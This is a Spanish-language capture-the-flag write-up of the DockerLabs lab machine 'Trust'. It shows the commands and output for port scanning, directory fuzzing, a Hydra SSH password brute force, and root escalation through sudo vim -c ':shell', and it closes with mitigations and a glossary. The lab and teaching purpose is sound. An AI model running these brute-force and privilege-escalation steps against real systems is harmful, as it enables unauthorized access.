Trust
DockerLabs · Gobuster → Hydra SSH → sudo vim PrivEsc
// ruta
Nmap→
Gobuster→
secret.php→
Hydra→
SSH→
sudo vim→
ROOT ✓
01
// Planificación & objetivo
paso 01
Objetivo del ejercicio
Trust es una máquina de la plataforma DockerLabs con dificultad Muy Fácil, basada en Linux Debian. Expone únicamente dos servicios: SSH en el puerto 22 y un servidor web Apache en el puerto 80.
El objetivo es comprometer completamente el sistema — obtener acceso inicial como usuario no privilegiado y escalar hasta conseguir una shell como root. La cadena de ataque pasa por enumeración web, extracción de un nombre de usuario expuesto, fuerza bruta de credenciales SSH y abuso de permisos sudo mal configurados.
El objetivo es comprometer completamente el sistema — obtener acceso inicial como usuario no privilegiado y escalar hasta conseguir una shell como root. La cadena de ataque pasa por enumeración web, extracción de un nombre de usuario expuesto, fuerza bruta de credenciales SSH y abuso de permisos sudo mal configurados.
paso 02
Resumen de fases
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Despliegue | auto_deploy.sh | Máquina activa 172.22.0.3 |
| Reconocimiento | Nmap -p- -sV | Puertos 22 y 80 abiertos |
| Enum. Web | Gobuster dir | secret.php descubierto |
| OSINT pasivo | curl / navegador | Usuario: mario |
| Acceso inicial | Hydra + rockyou.txt | mario : chocolate |
| Post-explotación | sudo -l | vim ejecutable como root |
| Escalada | sudo vim -c ':shell' | Shell root ✓ |
02
// Reconocimiento & despliegue
paso 03
Despliegue de la máquina
Desplegamos la máquina con el script auto_deploy.sh de DockerLabs. Levanta el contenedor, asigna la IP interna de la red Docker y mantiene la máquina activa hasta que se para con Ctrl+C. Requiere
sudo para gestionar interfaces de red Docker.
Deploy
$ sudo bash auto_deploy.sh trust.tar
Máquina desplegada, su dirección IP es ——> 172.22.0.3
Presiona Ctrl+C cuando termines para eliminar la máquina
captura — despliegue● ● ●
captura — entorno kali-pentesting● ● ●
03
// Escaneo & análisis
paso 04
Escaneo de puertos — Nmap
Lanzamos Nmap con detección de versiones sobre todos los puertos TCP. El resultado identifica dos servicios: SSH en el 22 (OpenSSH 9.2p1 Debian) y HTTP en el 80 (Apache 2.4.57 Debian). Superficie de ataque mínima — todo el reconocimiento se centra en el servidor web.
Nmap
# nmap -p- -sV 172.22.0.3
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2
80/tcp open http Apache httpd 2.4.57 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
captura — nmap output● ● ●
// puertos descubiertos
Puerto 22 (SSH) — OpenSSH 9.2p1 Debian. Puerto 80 (HTTP) — Apache 2.4.57. Sin FTP, sin SMB. El vector de entrada estará en el servidor web.
paso 05
Inspección web — Apache Default Page
Accedemos al puerto 80 en el navegador. Encontramos la página por defecto de Apache2 en Debian — no hay contenido útil visible. Esto nos indica que hay recursos no enlazados que hay que descubrir mediante fuzzing.
captura — apache default page● ● ●
paso 06
Fuzzing de directorios — Gobuster
Aplicamos fuzzing con Gobuster usando la wordlist DirBuster medium de SecLists y extensiones
php, html, txt. Gobuster prueba sistemáticamente cada entrada contra el servidor y reporta los códigos de respuesta. El objetivo es encontrar recursos ocultos no enlazados desde la página principal.
Gobuster
# gobuster dir -u http://172.22.0.3 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php,html,txt
index.html (Status: 200) [Size: 10701]
secret.php (Status: 200) [Size: 927]
server-status (Status: 403) [Size: 275]
captura — gobuster output● ● ●
// hallazgo crítico
secret.php con Status 200 — recurso accesible no enlazado desde la web principal. Hay que inspeccionarlo.
paso 07
Inspección de secret.php — OSINT pasivo
Accedemos a
http://172.22.0.3/secret.php. La página muestra el mensaje "Hola Mario, Esta web no se puede hackear." — el desarrollador dejó expuesto el nombre de un usuario real del sistema. Confirmamos con curl que el nombre mario está hardcodeado en el HTML. Ya tenemos el primer factor de las credenciales SSH.
captura — secret.php en navegador● ● ●
curl
# curl http://172.22.0.3/secret.php
<h1>Hola Mario,</h1>
<p>Esta web no se puede hackear.</p>
captura — curl secret.php (fuente HTML)● ● ●
// usuario obtenido
Information disclosure en secret.php — nombre de usuario del sistema expuesto: mario.
04
// Explotación & acceso inicial
paso 08
Fuerza bruta SSH — Hydra
Con el usuario mario confirmado, lanzamos Hydra para un ataque de diccionario contra SSH usando
rockyou.txt — el wordlist de contraseñas estándar en CTFs con millones de contraseñas reales filtradas. El flag -t 4 lanza 4 hilos paralelos.
Hydra
# hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.22.0.3 -t 4
[22][ssh] host: 172.22.0.3 login: mario password: chocolate
1 of 1 target successfully completed, 1 valid password found
captura — hydra encontrando credenciales● ● ●
Usuariomario
Contraseñachocolate
ServicioSSH / 22
paso 09
Conexión SSH — Acceso inicial
Nos conectamos por SSH con las credenciales obtenidas. Al ser la primera conexión a esta IP, SSH pide confirmación para almacenar el fingerprint del host — respondemos
yes. Obtenemos shell como mario.
SSH
# ssh mario@172.22.0.3
Are you sure you want to continue connecting? yes
mario@172.22.0.3's password: chocolate
mario@03b08966f532:~$ ← acceso inicial obtenido
captura — shell SSH como mario● ● ●
// acceso inicial conseguido
Shell obtenida como mario. Iniciamos enumeración post-acceso para escalar a root.
05
// Post-Explotación & privesc
paso 10
Enumeración — sudo -l
El primer comando tras obtener acceso es
sudo -l — lista qué binarios puede ejecutar el usuario actual con privilegios elevados. El resultado muestra que mario puede ejecutar vim como cualquier usuario del sistema, incluyendo root, sin restricciones.
sudo -l
mario@03b08966f532:~$ sudo -l
User mario may run the following commands on 03b08966f532:
(ALL) /usr/bin/vim
captura — sudo -l● ● ●
// vector identificado
vim ejecutable como root via sudo sin restricciones → escalada via GTFOBins.
paso 11
Consulta GTFOBins — vim sudo
Consultamos GTFOBins para ver cómo abusar de vim con permisos sudo. En el momento de hacer esta máquina, la entrada de vim en GTFOBins tenía la sección Shell en recuadro discontinuo sin información — versión incompleta. La solución: buscar vi en GTFOBins, ya que vim es una extensión directa de vi y comparten exactamente los mismos vectores de escalada. El exploit
:shell funciona igual en ambos.
captura — gtfobins vim sudo● ● ●
captura — búsqueda de referencia● ● ●
paso 12
Escalada de privilegios — sudo vim
Ejecutamos vim con
sudo y el flag -c que lanza un comando Ex al arrancar. :shell abre una shell interactiva desde dentro de vim. Como vim corre con sudo, la shell heredada es de root. Verificamos con whoami.
PrivEsc
mario@03b08966f532:~$ sudo vim -c ':shell'
root@03b08966f532:/home/mario# whoami
root
captura — shell root obtenida● ● ●
// root obtenido ✓
Escalada completada. Shell como root (uid=0) obtenida via sudo vim -c ':shell'.
06
// Reporte & conclusiones
vulnerabilidades
Vectores explotados
| Vulnerabilidad | Impacto | Mitigación |
|---|---|---|
| Information disclosure en secret.php | Usuario del sistema expuesto | Eliminar archivos con datos internos del servidor web |
| Contraseña débil SSH (chocolate) | Acceso inicial via fuerza bruta | Contraseñas fuertes + deshabilitar autenticación por password |
| sudo vim sin restricciones | Escalada completa a root | Auditar /etc/sudoers, eliminar permisos innecesarios |
lecciones
Lecciones aprendidas
Trust demuestra cómo una cadena de vulnerabilidades simples puede comprometer completamente un sistema. La enumeración web exhaustiva fue clave — sin Gobuster, secret.php nunca hubiera aparecido. El segundo aprendizaje importante es que cualquier editor de texto con permisos sudo es un vector de escalada: vim, nano, less, more... todos están en GTFOBins. Siempre auditar
sudo -l tras obtener acceso inicial.
07
// Glosario
Nmap
Escáner de red de código abierto. Detecta hosts activos, puertos abiertos, versiones de servicio y sistema operativo. En pentesting es la herramienta de reconocimiento activo más utilizada. El flag
-sV activa la detección de versiones; -p- escanea los 65535 puertos TCP.Gobuster
Fuzzer de directorios y archivos web escrito en Go. Prueba sistemáticamente rutas de una wordlist contra un servidor web para descubrir recursos ocultos: paneles de admin, archivos de configuración, backups o páginas no enlazadas. Más rápido que DirBuster gracias a la concurrencia nativa de Go.
Hydra
Herramienta de fuerza bruta para múltiples protocolos: SSH, FTP, HTTP, SMB, RDP y más. Paraleliza los intentos con múltiples hilos (
-t). rockyou.txt es el wordlist estándar en CTFs — contiene millones de contraseñas reales filtradas del breach de RockYou en 2009.GTFOBins
Referencia curada (
gtfobins.github.io) de binarios Unix/Linux que pueden ser abusados para escalar privilegios, leer/escribir archivos arbitrarios o ejecutar código cuando tienen permisos especiales (SUID, sudo, capabilities). Primer recurso a consultar tras encontrar un binario interesante en sudo -l.sudo y escalada de privilegios
sudo permite ejecutar comandos con los privilegios de otro usuario (normalmente root). sudo -l lista los permisos del usuario actual. Una regla (ALL) /usr/bin/vim significa que el usuario puede ejecutar vim como cualquier usuario del sistema. Si ese binario permite invocar comandos de shell, se convierte en vector de escalada inmediato.Information Disclosure
Vulnerabilidad por la cual un sistema expone información sensible de forma no intencionada — nombres de usuario, rutas internas, versiones de software, credenciales o datos de configuración. En Trust, el archivo
secret.php expone el nombre de un usuario real del sistema, reduciendo el ataque SSH a un simple diccionario de contraseñas.